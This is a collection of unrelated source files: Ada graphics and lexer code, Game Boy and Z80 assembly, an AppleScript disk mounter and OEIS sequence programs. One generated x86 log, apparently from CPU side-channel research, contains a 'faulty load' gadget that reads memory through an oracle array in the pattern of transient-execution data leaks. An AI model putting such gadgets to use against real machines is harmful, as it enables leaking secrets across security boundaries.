-- Draw_Circle -- ----------------- procedure Draw_Circle (P : Screen_Point; Radius : Integer; Color : Sc_Color) is CX, CY, Radius_Error : Integer; begin CX := Radius; CY := 0; Radius_Error := 1 - CX; while CX >= CY loop Set_Pixel ( CX + P.X, CY + P.Y, Color); Set_Pixel ( CY + P.X, CX + P.Y, Color); Set_Pixel (-CX + P.X, CY + P.Y, Color); Set_Pixel (-CY + P.X, CX + P.Y, Color); Set_Pixel (-CX + P.X, -CY + P.Y, Color); Set_Pixel (-CY + P.X, -CX + P.Y, Color); Set_Pixel ( CX + P.X, -CY + P.Y, Color); Set_Pixel ( CY + P.X, -CX + P.Y, Color); CY := CY + 1; if Radius_Error < 0 then Radius_Error := Radius_Error + (2 * CY + 1); else CX := CX - 1; Radius_Error := Radius_Error + (2 * (CY - CX) + 1); end if; end loop; end Draw_Circle; procedure Draw_Circle (Canvas : Canvas_ID; Position: Point_3d; Radius : Float; Color: RGBA_T) is begin Draw_Circle(To_Screen_Point(Internal_Canvas, (Position.X, Position.Y)), Scale (Internal_Canvas, Radius), RGBA_To_16(Color)); end Draw_Circle; procedure Draw_Circle (Canvas : Canvas_ID; Position: Screen_Point; Radius : Integer; Color: RGBA_T) is begin Draw_Circle(Position, Radius, RGBA_To_16(Color)); end Draw_Circle; --------------- -- Draw_Line -- --------------- -- procedure Draw_Line -- (P_Start, P_End : Screen_Point; Color : Sc_Color) -- is -- DX : Integer := P_End.X - P_Start.X; -- DY : Integer := P_End.Y - P_Start.Y; -- D : Integer := 2 * DY - DX; -- Y : Integer := P_Start.Y; -- begin -- Set_Pixel ((P_Start.X, P_Start.Y), Color); -- for X in P_Start.X +1 .. P_End.X loop -- if D > 0 then -- Y := Y + 1; -- Set_Pixel ((X, Y), Color); -- D := D + (2 * DY - 2 * DX); -- else -- Set_Pixel ((X, Y), Color); -- D := D + (2 * DY); -- end if; -- end loop; -- end Draw_Line; procedure Draw_Line (P0 : Screen_Point; P1 : Screen_Point; Pixel : Sc_Color) is dx : constant Integer := abs (P1.X - P0.X); sx : constant Integer := (if P0.X < P1.X then 1 else -1); dy : constant Integer := abs (P1.Y - P0.Y); sy : constant Integer := (if P0.Y < P1.Y then 1 else -1); err : Integer := (if dx > dy then dx else - dy) / 2; e2 : Integer; X : Integer := P0.X; Y : Integer := P0.Y; begin loop Set_Pixel (X, Y, Pixel); if X = P1.X and then Y = P1.Y then return; end if; e2 := err; if e2 > -dx then err := err - dy; X := X + sx; end if; if e2 < dy then err := err + dx; Y := Y + sy; end if; end loop; end Draw_Line; procedure Draw_Line (Canvas : Canvas_ID; P1: Point_3d; P2 : Point_3d; Color: RGBA_T) is begin Draw_Line (To_Screen_Point(Internal_Canvas, (P1.X, P1.Y)), To_Screen_Point(Internal_Canvas, (P2.X, P2.Y)), RGBA_To_16(Color)); end Draw_Line; procedure Draw_Line (Canvas : Canvas_ID; P1: Screen_Point; P2 : Screen_Point; Color: RGBA_T) is begin Draw_Line(P1, P2, RGBA_To_16(Color)); end Draw_Line; -------------- -- Draw_Box -- -------------- procedure Draw_Box (P : Screen_Point; Width, Height : Integer; Color : Sc_Color) is X1 : Integer := P.X; X2 : Integer := P.X + Width; begin if X1 < 0 then X1 := 0; end if; if X2 > Internal_Canvas.width - 1 then X2 := Internal_Canvas.width -1; end if; for Y in 0 .. Height - 1 loop if P.Y + Y >= 0 and then P.Y + Y < Internal_Canvas.Height then Fast_Horiz_Line (Color, X1, X2, P.Y + Y); end if; end loop; end Draw_Box; procedure Draw_Rect (P : Screen_Point; Width, Height : Integer; Color : Sc_Color) is begin Draw_Line(P, (P.x + Width -1, P.Y), Color); Draw_Line(P, (P.x, P.Y + Height - 1), Color); Draw_Line((P.x + Width - 1, P.Y), (P.x + Width - 1, P.Y + Height - 1), Color); Draw_Line((P.x, P.Y + Height - 1), (P.x + Width - 1, P.Y + Height - 1), Color); end Draw_Rect; procedure Draw_Rect (Canvas : Canvas_ID; Position : Screen_Point; Width, Height : Integer; Color : RGBA_T) is begin Draw_Rect(Position, Width, Height, RGBA_To_16(Color)); end Draw_Rect; procedure Draw_Rect (Canvas : Canvas_ID; Position : Point_3d; Width, Height : Float; Color : RGBA_T) is begin Draw_Rect(To_Screen_Point(Internal_Canvas, (Position.X, Position.Y)), Scale(Internal_Canvas, Width), Scale(Internal_Canvas, Height), RGBA_To_16(Color)); end Draw_Rect; procedure Draw_Fill_Rect (Canvas : Canvas_ID; Position : Screen_Point; Width, Height : Integer; Color : RGBA_T) is begin Draw_Box(Position, Width, Height, RGBA_To_16(Color)); end Draw_Fill_Rect; procedure Draw_Fill_Rect (Canvas : Canvas_ID; Position : Point_3d; Width, Height : Float; Color : RGBA_T) is begin Draw_Box(To_Screen_Point(Internal_Canvas, (Position.X, Position.Y)), Scale(Internal_Canvas, Width), Scale(Internal_Canvas, Height), RGBA_To_16(Color)); end Draw_Fill_Rect; ------------------------ -- Draw_Filled_Circle -- ------------------------ -- procedure Draw_Filled_Circle -- (P : Screen_Point; Radius : Integer; Color : Sc_Color) -- is -- begin -- for Y in -Radius .. Radius loop -- for X in -Radius .. Radius loop -- if X * X + Y * Y < Radius * Radius then -- Set_Pixel (P.X + X, P.Y + Y, Color); -- end if; -- end loop; -- end loop; -- end Draw_Filled_Circle; procedure Draw_Filled_Circle (P : Screen_Point; Radius : Integer; Color : Sc_Color) is r : Integer := Radius; x : Integer := -r; y : Integer := 0; err : Integer := 2 - 2 * r; --/ * II. Quadrant * / begin if Radius <= 1 then Set_Pixel (P.X, P.Y, Color); else while x < 0 loop Draw_Line ((P.X - x, P.Y - y), (P.X + x, P.Y - y), Color); Draw_Line ((P.X - x, P.Y + y), (P.X + x, P.Y + y), Color); r := err; if r <= y then y := y + 1; err := err + y * 2 + 1; -- / * e_xy + e_y < 0 * / end if; if r > x or else err > y then x := x + 1; err := err + x * 2 + 1; --/ * e_xy + e_x > 0 or no 2nd y - step * / end if; if x >= 0 then return; end if; end loop; end if; end Draw_Filled_Circle; procedure Draw_Sphere (Canvas : Canvas_ID; Position: Screen_Point; Radius : Integer; Color: RGBA_T) is begin Draw_Filled_Circle (Position, Radius, RGBA_To_16(Color)); end Draw_Sphere; procedure Draw_Sphere (Canvas : Canvas_ID; Position: Point_3d; Radius : Float; Color: RGBA_T) is begin Draw_Filled_Circle (To_Screen_Point(Internal_Canvas, (Position.X, Position.Y)), Scale(Internal_Canvas, Radius), RGBA_To_16(Color)); end Draw_Sphere; --------------- -- Draw_Ring -- --------------- procedure Draw_Ring (P : Screen_Point; Radius, Inner_Radius : Integer; Color : Sc_Color) is begin for Y in -Radius .. Radius loop for X in -Radius .. Radius loop declare T : Integer := X * X + Y * Y; begin if T < Radius * Radius and then T >= Inner_Radius * Inner_Radius then Set_Pixel (P.X + X, P.Y + Y, Color); end if; end; end loop; end loop; end Draw_Ring; procedure Draw_Text (Canvas : Canvas_ID; Position: Point_3d; Text : String; Color: RGBA_T; Bg_Color : RGBA_T := Black; Wrap: Boolean := True) is SC : Screen_Point := To_Screen_Point(Internal_Canvas, (Position.X, Position.Y)); begin Fonts.Draw_String(SC.X, SC.Y, Str => Text, Font => Font8x8, FG => RGBA_To_16(Color), BG => RGBA_To_16(Bg_Color), Wrap => Wrap); end Draw_Text; procedure Draw_Text (Canvas : Canvas_ID; Position: Screen_Point; Text : String; Color: RGBA_T; Bg_Color : RGBA_T := Black; Wrap: Boolean := True) is begin Fonts.Draw_String(Position.X, Position.Y, Str => Text, Font => Font8x8, FG => RGBA_To_16(Color), BG => RGBA_To_16(Bg_Color), Wrap => Wrap); end Draw_Text; function Get_Text_Size(Text : String) return Screen_Point is P : Point := String_Size (Font8x8, Text); begin return Screen_Point'(X => P.X, Y => P.Y); end Get_Text_Size; -- procedure Draw_Text (P : Screen_Point; Str : String; Color : Sc_Color) -- is -- begin -- Fonts.Draw_String -- ((P.X, P.Y), -- Str, -- Font8x8, -- Color, -- Screen_Interface.Black); -- end Draw_Text; -- procedure Draw_Dyn_Text (P : Screen_Point; Str : String; Color : Sc_Color) -- is -- begin -- Fonts.Draw_String -- ((P.X, P.Y), -- Str, -- Font12x12, -- Color, -- Screen_Interface.Black); -- end Draw_Dyn_Text; ---------- -- Draw -- ---------- -- procedure Draw (Id : Shape_Id) is -- Inst : Shape := Shapes (Id); -- SP : Screen_Point := To_Screen_Point(Internal_Canvas, (Inst.X, Inst.Y)); -- T : Natural; -- begin -- case Inst.Kind is -- when Circle => -- T := Scale (Internal_Canvas, Inst.Radius); -- Draw_Filled_Circle -- (SP, T, -- Color_Map (Inst.Color)); -- when Torus => -- Draw_Ring -- (SP, Scale (Internal_Canvas, Inst.Outer), -- Scale (Internal_Canvas, Inst.Inner), -- Color_Map (Inst.Color)); -- when Box => -- Draw_Box -- (SP, Scale (Internal_Canvas, Inst.Width), Scale (Internal_Canvas, Inst.Height), -- Color_Map (Inst.Color)); -- when Line => -- Draw_Line (SP, To_Screen_Point(Internal_Canvas, (Inst.End_X, Inst.End_Y)), -- Color_Map (Inst.Color)); -- when Text => -- Draw_Text (SP, -- Get_Str(Inst.Str_Idx), -- Color_Map (Inst.Color)); -- -- when Dyn_Text => -- -- Draw_Dyn_Text (SP, -- -- Inst.Str_Ptr.all, -- -- Color_Map (Inst.Color)); -- when others => null; -- end case; -- end Draw; function Is_Killed return Boolean is begin return False; end Is_Killed; function Get_Cursor_Status return Cursor_T is S : Screen_Interface.Touch_State; begin S := Get_Touch_State; return (Position => (S.X, S.Y), Pressed => S.Touch_Detected); end Get_Cursor_Status; ----------- -- Check -- ----------- procedure Check (Ret : Int) is begin if Ret /= 0 then raise Display_Error; end if; end Check; ---------- -- Draw -- ---------- procedure Swap_Buffers(Window : Window_ID; Erase : Boolean := True) is begin -- Fill_Screen (SC.Black); -- for Id in Shapes'First .. Max_Shape_Id loop -- Draw (Id); -- end loop; LCD.Flip_Buffers; if Erase then Fill_Screen(Sc.Black); end if; end Swap_Buffers; procedure Swap_Copy_Buffers(Window : Window_ID) is begin LCD.Flip_Copy_Buffers; end Swap_Copy_Buffers; procedure Fill(Canvas : Canvas_ID; Color: RGBA_T) is begin Fill_Screen (RGBA_To_16(Color)); end Fill; ---------- -- Init -- ---------- procedure Init is begin SC.Initialize; end Init; function Get_Zoom_Factor (Canvas : Canvas_ID) return Float is begin return Internal_Canvas.Zoom_Factor; end Get_Zoom_Factor; procedure Set_Zoom_Factor (Canvas : Canvas_ID; ZF : Float) is begin Internal_Canvas.Zoom_Factor := ZF; end Set_Zoom_Factor; Window_Created : Boolean := False; -- Only for STM32F429 with 320x240 screen function Create_Window (Width : Integer; Height : Integer; Name : String) return Window_ID is begin -- only one window 320x240 allowed if Width /= 240 or else Height /= 320 then raise Display_Error; end if; if Window_Created then raise Too_Many_Windows; end if; Window_Created := True; return Window_ID'First; end Create_Window; function Get_Canvas(Window : Window_ID) return Canvas_ID is begin if Window /= Window_ID'First then raise Display_Error; end if; return Canvas_ID'First; end Get_Canvas; ------------------------- -- NOT YET IMPLEMENTED -- ------------------------- -- function New_Text -- (X : Float; -- Y : Float; -- Text : String; -- Color : Color_Type) -- return Shape_Id is (Null_Shape_Id); -- procedure Set_Text (V : in out Shape_Id; Text : String) is null; -- function Get_Text (V : Shape_Id) return String is (""); function Read_Last_Mouse_Position return Mouse_Position is (No_Mouse_Position); function At_End return Boolean is (False); procedure Enable_3d_Light (Canvas : Canvas_ID) is begin -- does not do anything without opengl null; end Enable_3d_Light; procedure Disable_3d_Light (Canvas : Canvas_ID) is begin -- does not do anything without opengl null; end Disable_3d_Light; procedure Set_3d_Light (Canvas : Canvas_ID; Position : Point_3d; Diffuse_Color : RGBA_T; Ambient_Color : RGBA_T) is begin -- does not do anything without opengl null; end Set_3d_Light; begin Init; end Display.Basic;
scripts/fuchsiahouse2.asm
adhi-thirumala/EvoYellow
16
10373
<filename>scripts/fuchsiahouse2.asm FuchsiaHouse2Script: jp EnableAutoTextBoxDrawing FuchsiaHouse2TextPointers: dw FuchsiaHouse2Text1 dw PickUpItemText dw BoulderText dw FuchsiaHouse2Text4 dw FuchsiaHouse2Text5 FuchsiaHouse2Text1: TX_ASM CheckEvent EVENT_GOT_HM04 jr nz, .subtract ld b,GOLD_TEETH call IsItemInBag jr nz, .asm_3f30f CheckEvent EVENT_GAVE_GOLD_TEETH jr nz, .asm_60cba ld hl, WardenGibberishText1 call PrintText call YesNoChoice ld a, [wCurrentMenuItem] and a ld hl, WardenGibberishText3 jr nz, .asm_61238 ld hl, WardenGibberishText2 .asm_61238 call PrintText jr .asm_52039 .asm_3f30f ld hl, WardenTeethText1 call PrintText ld a, GOLD_TEETH ld [$ffdb], a callba RemoveItemByID SetEvent EVENT_GAVE_GOLD_TEETH .asm_60cba ld hl, WardenThankYouText call PrintText lb bc, HM_04, 1 call GiveItem jr nc, .BagFull ld hl, ReceivedHM04Text call PrintText SetEvent EVENT_GOT_HM04 jr .asm_52039 .subtract ld hl, HM04ExplanationText call PrintText jr .asm_52039 .BagFull ld hl, HM04NoRoomText call PrintText .asm_52039 jp TextScriptEnd WardenGibberishText1: TX_FAR _WardenGibberishText1 db "@" WardenGibberishText2: TX_FAR _WardenGibberishText2 db "@" WardenGibberishText3: TX_FAR _WardenGibberishText3 db "@" WardenTeethText1: TX_FAR _WardenTeethText1 db $0b WardenTeethText2: TX_FAR _WardenTeethText2 db "@" WardenThankYouText: TX_FAR _WardenThankYouText db "@" ReceivedHM04Text: TX_FAR _ReceivedHM04Text db $0B, "@" HM04ExplanationText: TX_FAR _HM04ExplanationText db "@" HM04NoRoomText: TX_FAR _HM04NoRoomText db "@" FuchsiaHouse2Text5: FuchsiaHouse2Text4: TX_ASM ld a, [H_SPRITEINDEX] cp $4 ld hl, FuchsiaHouse2Text_7517b jr nz, .asm_4c9a2 ld hl, FuchsiaHouse2Text_75176 .asm_4c9a2 call PrintText jp TextScriptEnd FuchsiaHouse2Text_75176: TX_FAR _FuchsiaHouse2Text_75176 db "@" FuchsiaHouse2Text_7517b: TX_FAR _FuchsiaHouse2Text_7517b db "@"
libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_double8u.asm
jpoikela/z88dk
640
101292
<filename>libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_double8u.asm SECTION code_clib SECTION code_fp_math48 PUBLIC asm_double8u EXTERN am48_double8u defc asm_double8u = am48_double8u
Main app script.scpt
chris1111/Disk-Menu
7
143
# Disk Menu # Copyright (c) 2019, chris1111 All Rights reserved # Set the Name ⬇︎ # ⬇︎ set diskName to "DISK" -- volume names tell current application set device to (do shell script "diskutil list | grep \"" & diskName & "\" | awk '{ print substr($0,69,9) }'") if device = "" then display dialog "The disk \"" & diskName & "\"cannot be found, is your disk properly inserted ? If you have inserted an external disk with a different name, edit the script with the right name." buttons {"Quit", "Edit the script"} cancel button "Quit" default button 2 with title "(Error Disk not found)" with icon caution set theFile to POSIX file "/Applications/Disk Menu.app/Contents/Resources/Scripts/main.scpt" tell application "Finder" to open theFile end if set foundDisks to paragraphs of device end tell tell application "Finder" if disk diskName exists then # Set the Name ⬇︎ # ⬇︎ set diskName to {"DISK"} -- volume names tell application "Finder" repeat with foundDisks in diskName do shell script "diskutil Unmount " & diskName do shell script "afplay '/System/Library/Components/CoreAudio.component/Contents/SharedSupport/SystemSounds/System/Volume Unmount.aif' &> /dev/null &" end repeat end tell else tell application "Finder" # Set the Name ⬇︎ # ⬇︎ set diskName to {"DISK"} -- volume names tell application "Finder" repeat with foundDisks in diskName do shell script "diskutil Mount " & diskName do shell script "afplay '/System/Library/Components/CoreAudio.component/Contents/SharedSupport/SystemSounds/System/Volume Mount.aif' &> /dev/null &" end repeat end tell end tell end if end tell
src/secret-attributes.ads
stcarrez/ada-libsecret
2
19154
----------------------------------------------------------------------- -- secret-attributes -- Attribute list representation -- Copyright (C) 2017 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- -- === Secret Attributes === -- The secret attributes describes the key/value pairs that allows the secret service to -- identify and retrieve a given secret value. The secret attributes are displayed by the -- keyring manager to the user in the "technical details" section. -- -- The <tt>Secret.Attributes</tt> package defines the <tt>Map</tt> type for the representation -- of attributes and it provides operations to populate the attributes. -- -- The <tt>Map</tt> instances use reference counting and they can be shared. package Secret.Attributes is -- Represents a hashmap to store attributes. type Map is new Secret.Object_Type with null record; -- Insert into the map the attribute with the given name and value. procedure Insert (Into : in out Map; Name : in String; Value : in String); private overriding procedure Adjust (Object : in out Map); overriding procedure Finalize (Object : in out Map); end Secret.Attributes;
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_1832_1107.asm
ljhsiun2/medusa
9
25951
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r8 push %rax push %rbp push %rdi lea addresses_A_ht+0x54e, %r14 nop and %r13, %r13 movb (%r14), %al nop and %rbp, %rbp lea addresses_WT_ht+0x4d44, %r8 clflush (%r8) nop nop nop sub %rdi, %rdi vmovups (%r8), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rbp nop nop sub $29666, %rax pop %rdi pop %rbp pop %rax pop %r8 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r8 push %rax push %rcx push %rdi // Faulty Load lea addresses_WT+0x12904, %rcx nop nop nop dec %r8 mov (%rcx), %r11w lea oracles, %rcx and $0xff, %r11 shlq $12, %r11 mov (%rcx,%r11,1), %r11 pop %rdi pop %rcx pop %rax pop %r8 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'39': 1832} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
libsrc/_DEVELOPMENT/stdlib/c/sdcc_iy/labs_fastcall.asm
meesokim/z88dk
0
88507
<gh_stars>0 ; long labs_fastcall(long j) SECTION code_stdlib PUBLIC _labs_fastcall EXTERN asm_labs defc _labs_fastcall = asm_labs
libsrc/_DEVELOPMENT/adt/bv_stack/z80/asm_bv_stack_max_size.asm
jpoikela/z88dk
640
84966
; =============================================================== ; Mar 2014 ; =============================================================== ; ; size_t bv_stack_max_size(bv_stack_t *s) ; ; Return maximum size of the stack. ; ; =============================================================== SECTION code_clib SECTION code_adt_bv_stack PUBLIC asm_bv_stack_max_size EXTERN l_readword_hl defc asm_bv_stack_max_size = l_readword_hl - 6 ; enter : hl = stack * ; ; exit : hl = stack.max_size ; ; uses : a, hl
programs/oeis/239/A239692.asm
neoneye/loda
22
770
; A239692: Base 6 sum of digits of prime(n). ; 2,3,5,2,6,3,7,4,8,9,6,2,6,3,7,8,9,6,7,11,3,4,8,9,7,11,8,12,4,8,7,11,12,9,9,6,7,8,12,13,14,6,11,8,12,9,11,3,7,4,8,9,6,11,7,8,9,6,7,11,8,8,7,11,8,12,6,7,12,9,13,14,7,8,9,13,14,7,11,9,14,11,16,3,4,8,9,7,11,8,12,9,7,11,9,13,9,11,8,6 seq $0,40 ; The prime numbers. seq $0,53827 ; Sum of digits of (n written in base 6).
source/server/ada_lsp-ada_lexers.ads
reznikmm/ada_lsp
11
18665
<reponame>reznikmm/ada_lsp -- Copyright (c) 2017 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT -- License-Filename: LICENSE ------------------------------------------------------------- with Incr.Lexers.Batch_Lexers.Generic_Lexers; with Matreshka.Internals.Unicode; package Ada_LSP.Ada_Lexers is subtype Token is Incr.Lexers.Batch_Lexers.Rule_Index; Abort_Token : constant Token := 1; Abs_Token : constant Token := 2; Abstract_Token : constant Token := 3; Accept_Token : constant Token := 4; Access_Token : constant Token := 5; Aliased_Token : constant Token := 6; All_Token : constant Token := 7; Ampersand_Token : constant Token := 8; And_Token : constant Token := 9; Apostrophe_Token : constant Token := 10; Array_Token : constant Token := 11; Arrow_Token : constant Token := 12; Assignment_Token : constant Token := 13; At_Token : constant Token := 14; Begin_Token : constant Token := 15; Body_Token : constant Token := 16; Box_Token : constant Token := 17; Case_Token : constant Token := 18; Character_Literal_Token : constant Token := 19; Colon_Token : constant Token := 20; Comma_Token : constant Token := 21; Comment_Token : constant Token := 22; Constant_Token : constant Token := 23; Declare_Token : constant Token := 24; Delay_Token : constant Token := 25; Delta_Token : constant Token := 26; Digits_Token : constant Token := 27; Do_Token : constant Token := 28; Dot_Token : constant Token := 29; Double_Dot_Token : constant Token := 30; Double_Star_Token : constant Token := 31; Else_Token : constant Token := 32; Elsif_Token : constant Token := 33; End_Token : constant Token := 34; Entry_Token : constant Token := 35; Equal_Token : constant Token := 36; Error_Token : constant Token := 37; Exception_Token : constant Token := 38; Exit_Token : constant Token := 39; For_Token : constant Token := 40; Function_Token : constant Token := 41; Generic_Token : constant Token := 42; Goto_Token : constant Token := 43; Greater_Or_Equal_Token : constant Token := 44; Greater_Token : constant Token := 45; Hyphen_Token : constant Token := 46; Identifier_Token : constant Token := 47; If_Token : constant Token := 48; In_Token : constant Token := 49; Inequality_Token : constant Token := 50; Interface_Token : constant Token := 51; Is_Token : constant Token := 52; Left_Label_Token : constant Token := 53; Left_Parenthesis_Token : constant Token := 54; Less_Or_Equal_Token : constant Token := 55; Less_Token : constant Token := 56; Limited_Token : constant Token := 57; Loop_Token : constant Token := 58; Mod_Token : constant Token := 59; New_Line_Token : constant Token := 60; New_Token : constant Token := 61; Not_Token : constant Token := 62; Null_Token : constant Token := 63; Numeric_Literal_Token : constant Token := 64; Of_Token : constant Token := 65; Or_Token : constant Token := 66; Others_Token : constant Token := 67; Out_Token : constant Token := 68; Overriding_Token : constant Token := 69; Package_Token : constant Token := 70; Plus_Token : constant Token := 71; Pragma_Token : constant Token := 72; Private_Token : constant Token := 73; Procedure_Token : constant Token := 74; Protected_Token : constant Token := 75; Raise_Token : constant Token := 76; Range_Token : constant Token := 77; Record_Token : constant Token := 78; Rem_Token : constant Token := 79; Renames_Token : constant Token := 80; Requeue_Token : constant Token := 81; Return_Token : constant Token := 82; Reverse_Token : constant Token := 83; Right_Label_Token : constant Token := 84; Right_Parenthesis_Token : constant Token := 85; Select_Token : constant Token := 86; Semicolon_Token : constant Token := 87; Separate_Token : constant Token := 88; Slash_Token : constant Token := 89; Some_Token : constant Token := 90; Space_Token : constant Token := 91; Star_Token : constant Token := 92; String_Literal_Token : constant Token := 93; Subtype_Token : constant Token := 94; Synchronized_Token : constant Token := 95; Tagged_Token : constant Token := 96; Task_Token : constant Token := 97; Terminate_Token : constant Token := 98; Then_Token : constant Token := 99; Type_Token : constant Token := 100; Until_Token : constant Token := 101; Use_Token : constant Token := 102; Vertical_Line_Token : constant Token := 103; When_Token : constant Token := 104; While_Token : constant Token := 105; With_Token : constant Token := 106; Xor_Token : constant Token := 107; type Batch_Lexer is new Incr.Lexers.Batch_Lexers.Batch_Lexer with private; overriding procedure Get_Token (Self : access Batch_Lexer; Result : out Incr.Lexers.Batch_Lexers.Rule_Index); private package Tables is use Incr.Lexers.Batch_Lexers; function To_Class (Value : Matreshka.Internals.Unicode.Code_Point) return Character_Class; pragma Inline (To_Class); function Switch (S : State; Class : Character_Class) return State; pragma Inline (Switch); function Rule (S : State) return Rule_Index; pragma Inline (Rule); end Tables; package Base_Lexers is new Incr.Lexers.Batch_Lexers.Generic_Lexers (To_Class => Tables.To_Class, Switch => Tables.Switch, Rule => Tables.Rule, First_Final => 34, Last_Looping => 64, Error_State => 86); type Batch_Lexer is new Base_Lexers.Batch_Lexer with null record; end Ada_LSP.Ada_Lexers;
oeis/322/A322707.asm
neoneye/loda-programs
11
100442
<reponame>neoneye/loda-programs<filename>oeis/322/A322707.asm ; A322707: a(0)=0, a(1)=5 and a(n) = 22*a(n-1) - a(n-2) + 10 for n > 1. ; Submitted by <NAME> ; 0,5,120,2645,58080,1275125,27994680,614607845,13493377920,296239706405,6503780163000,142786923879605,3134808545188320,68823001070263445,1510971215000607480,33172543728943101125,728284990821747617280,15989097254349504479045,351031854604867350921720,7706711704052732215798805,169196625634555241396652000,3714619052256162578510545205,81552422524001021485835342520,1790438676475766310109866990245,39308098459942857800931238442880,862987727442267105310377378753125,18946421905269933459027371094125880 mov $3,1 lpb $0 sub $0,1 mul $1,20 add $3,$1 add $2,$3 mov $1,$2 add $3,2 lpe mov $0,$1 mul $0,5
test/Succeed/Issue3538.agda
cruhland/agda
1,989
8555
